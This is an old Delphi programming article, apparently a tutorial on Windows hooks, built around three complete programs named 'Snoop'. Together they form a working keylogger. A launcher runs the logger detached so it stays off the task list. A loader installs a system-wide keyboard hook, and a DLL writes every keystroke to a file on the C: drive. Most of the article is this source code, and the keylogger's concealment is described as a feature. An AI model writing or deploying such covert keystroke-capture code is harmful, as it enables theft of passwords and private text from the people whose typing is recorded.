This article was written by Peter Johnson. Peter has written a number of articles, components and applications, unfortunately the web address we have is no longer valid, if you know where it is now please let us know.
The following three programs show how to setup a Windows hook to intercept system keystrokes and save them to a file. While this example uses the WH_KEYBOARD hook it could be applied to any of the available hook classes.
As these modules don't require any of Delphi's standard application framework they should all be saved as a .DPR file. I assume these examples would work with any of the Windows versions of Turbo Pascal. Perhaps someone could let me know?
Starts the main program as a detached process to stop it appearing in the windows task list. You will have to change the 'ProgramName' constant to point to the SNOOP executable. This step can be omitted if you don't mind an entry on the task bar.
This module simply loads the SNOOPDLL module and installs it as a keyboard hook. The program performs an infinite sleep so the DLL handle remains valid. I have included the necessary cleanup code even though it never gets called in this particular example.
This is the DLL that performs the actual work. The file is opened and closed on each call so the file can be accessed at any time. This obviously causes quite a bit of disk activity that could be avoided by adding some buffering code.
uses Windows;
{$R *.RES}
const ProgramName = 'C:\SNOOP.EXE';
var
StartupInfo : TStartupInfo;
ProcessInformation : TProcessInformation;
Begin
GetStartupInfo(StartupInfo);
CreateProcess(ProgramName,Nil,Nil,Nil,False,DETACHED_PROCESS,
Nil,Nil,StartupInfo,
ProcessInformation);
end.
program Snoop;
uses Windows;
{$R *.RES}
var
Hook : HHOOK;
DllInstance : DWORD;
HookProc : FARPROC;
Begin
DllInstance := LoadLibrary('SNOOPDLL');
HookProc := GetProcAddress(DllInstance, 'HookProcedure');
Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
Sleep(INFINITE);
UnhookWindowsHookEx(Hook);
FreeLibrary(DllInstance);
end.
library snoopdll;
uses Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM;
lParam: LPARAM); stdcall;
var
LogFile : THandle;
BytesWritten : DWORD;
Ch : Byte;
begin
if ((HiWord(lParam) and KF_UP) <> 0) and
(nCode = HC_ACTION) then
begin
LogFile := CreateFile('c:\x.x', GENERIC_WRITE,
FILE_SHARE_READ, Nil,
OPEN_ALWAYS, 0, 0);
SetFilePointer(LogFile, 0, Nil, FILE_END);
WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
if Lo(wParam) = 13 then
begin
Ch := 10;
WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
end;
CloseHandle(LogFile);
end;
CallNextHookEx(0, nCode, wParam, lParam);
end;
exports HookProcedure;
end.